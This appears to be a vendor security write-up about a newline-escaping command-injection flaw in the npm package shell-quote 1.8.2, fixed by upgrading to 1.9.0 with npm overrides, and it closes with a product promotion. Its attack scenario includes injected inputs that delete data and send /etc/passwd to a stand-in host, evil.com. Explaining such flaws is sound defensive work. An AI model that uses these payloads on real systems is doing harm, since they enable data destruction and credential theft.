Introduction
In this repository's package-lock.json, we discovered a critical command injection vulnerability lurking in a transitive dependency: shell-quote version 1.8.2. This widely-used npm package is responsible for parsing and quoting shell command strings—a critical security function that, when flawed, can give attackers the keys to your server.
The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input flows through shell-quote and into a shell command, an attacker can terminate the intended command early and inject their own malicious commands.
What makes this particularly dangerous is that shell-quote is often a transitive dependency—you might not even know it's in your project until a scanner like Trivy flags it in your lockfile.
The Vulnerability Explained
What Went Wrong in shell-quote 1.8.2
The shell-quote package provides two main functions: quote() for escaping strings to be safely used in shell commands, and parse() for parsing shell command strings. The vulnerability exists in how version 1.8.2 handles line terminator characters.
Consider what happens when shell-quote processes input containing a newline:
const shellQuote = require('shell-quote');
// User-controlled input with injected newline
const userInput = "harmless\nrm -rf /important-data";
// Vulnerable shell-quote 1.8.2 would not properly escape the newline
const quoted = shellQuote.quote([userInput]);
// Result might allow the second command to execute
In a Unix shell, a newline character acts as a command separator—just like a semicolon. When shell-quote fails to escape \n, an attacker can craft input that:
- Terminates the intended command
- Starts a completely new, attacker-controlled command
- Executes arbitrary code with the privileges of the Node.js process
Real-World Attack Scenario
Imagine a build tool that uses shell-quote to safely construct a command with user-provided filenames:
const { quote } = require('shell-quote');
const { exec } = require('child_process');
function processFile(filename) {
// Developer thinks this is safe because they're using shell-quote
const cmd = `cat ${quote([filename])} | process-tool`;
exec(cmd, (error, stdout) => {
// Handle output
});
}
// Attacker provides:
processFile("data.txt\ncurl http://evil.com/steal?data=$(cat /etc/passwd)");
With the vulnerable shell-quote version, the newline isn't escaped, resulting in two commands being executed:
1. cat data.txt (the intended command)
2. curl http://evil.com/steal?data=$(cat /etc/passwd) (data exfiltration!)
The attacker has achieved arbitrary code execution and can steal sensitive data, install backdoors, or pivot to other systems.
The Fix
What Changed
The fix involves two coordinated changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:
Before (package-lock.json):
"node_modules/shell-quote": {
"version": "1.8.2",
"resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
"integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==",
After (package-lock.json):
"node_modules/shell-quote": {
"version": "1.9.0",
"resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
"integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",
The Critical Addition (package.json):
"overrides": {
"shell-quote": "1.9.0"
}
Why npm Overrides Matter
The overrides field in package.json is crucial here. Since shell-quote is likely a transitive dependency (a dependency of your dependencies), simply updating your direct dependencies wouldn't guarantee the patched version is used everywhere.
The npm overrides feature forces version 1.9.0 of shell-quote to be installed regardless of what version other packages request. This ensures:
- Complete coverage: Every package in your dependency tree uses the patched version
- No gaps: Transitive dependencies can't pull in the vulnerable version
- Explicit intent: The override documents your security decision in version control
How Version 1.9.0 Fixes the Issue
The patched version of shell-quote now properly escapes line terminator characters including:
- Line Feed (\n, U+000A)
- Carriage Return (\r, U+000D)
- Line Separator (U+2028)
- Paragraph Separator (U+2029)
These characters are now quoted or escaped so they're treated as literal characters rather than command separators by the shell.
Prevention & Best Practices
Immediate Actions
- Audit your dependencies: Run
npm auditregularly to catch known vulnerabilities - Use lockfiles: Always commit
package-lock.jsonto ensure reproducible builds - Enable automated scanning: Tools like Trivy, Snyk, or GitHub's Dependabot can alert you to vulnerable dependencies
Secure Coding Practices for Shell Commands
- Avoid shells when possible: Use
child_process.execFile()orspawn()withshell: falseinstead ofexec()
// Safer: No shell involved
const { execFile } = require('child_process');
execFile('cat', [filename], (error, stdout) => {
// Handle output
});
- Validate input strictly: Use allowlists for expected input patterns
const SAFE_FILENAME = /^[a-zA-Z0-9_\-\.]+$/;
if (!SAFE_FILENAME.test(filename)) {
throw new Error('Invalid filename');
}
- Keep dependencies updated: Set up automated dependency updates with security-focused tools
Defense in Depth
Even with patched dependencies, implement multiple layers of protection:
- Run Node.js processes with minimal privileges
- Use containers with read-only filesystems where possible
- Implement security monitoring and alerting
- Conduct regular security audits of your dependency tree
Key Takeaways
- Transitive dependencies are attack vectors: shell-quote wasn't a direct dependency, but its vulnerability still posed critical risk to this project
- npm overrides are essential for security patches: When a vulnerability exists in a transitive dependency, overrides ensure the fix applies everywhere
- Line terminators are command separators: Characters like
\ncan break out of quoted strings and inject new commands if not properly escaped - shell-quote is a security-critical package: Any library that constructs shell commands must be kept updated and monitored closely
- Static analysis catches what humans miss: Trivy identified this CVE in the lockfile before it could be exploited
How Orbis AppSec Detected This
- Source: User-influenced input flowing through the application to shell command construction
- Sink:
shell-quotepackage'squote()function when constructing shell command strings - Missing control: shell-quote 1.8.2 failed to escape line terminator characters, allowing command injection
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Upgraded shell-quote to 1.9.0 using npm overrides to patch the vulnerability across all transitive dependencies
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 in shell-quote demonstrates how a subtle escaping oversight can lead to critical security consequences. The failure to escape line terminator characters transformed a security library into an attack vector, potentially allowing arbitrary code execution in any application using the vulnerable version.
The fix—upgrading to shell-quote 1.9.0 via npm overrides—is straightforward but highlights an important lesson: security is only as strong as your weakest dependency. Regularly audit your dependency tree, use automated scanning tools, and implement defense in depth to protect against both known and unknown vulnerabilities.
Remember: when it comes to shell commands, trust nothing and escape everything.